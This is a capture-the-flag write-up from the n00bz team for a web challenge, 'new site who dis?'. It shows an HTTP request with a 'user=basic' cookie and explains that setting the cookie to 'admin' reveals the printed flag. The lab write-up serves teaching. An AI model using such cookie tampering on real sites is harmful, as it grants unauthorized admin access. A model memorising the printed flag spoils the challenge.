new site who dis?

Category

Web

Description

I just started making my new website. Can you pen-test it and see if you can get the super-secret flag?

Solution

When entering the challenge page we get the following message.

Message

Clicking the link we get a message telling us that only admins can get the flag.

Admin Message

Lets take a look at the request.

GET /flag HTTP/2
Host: mhsctf-newsitewhodis.0xmmalik.repl.co
Cookie: user=basic
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://mhsctf-newsitewhodis.0xmmalik.repl.co/
Upgrade-Insecure-Requests: 1
Te: trailers

Here we can see the cookie user with the value basic. Changing the cookie value to admin and resending returns the flag.

Hello there, Admin! Here is your super-secret flag: flag{1t$-@_m3_Mari0}

n00bz

Home of the n00bz CTF team.


By n00bz, 2022-02-20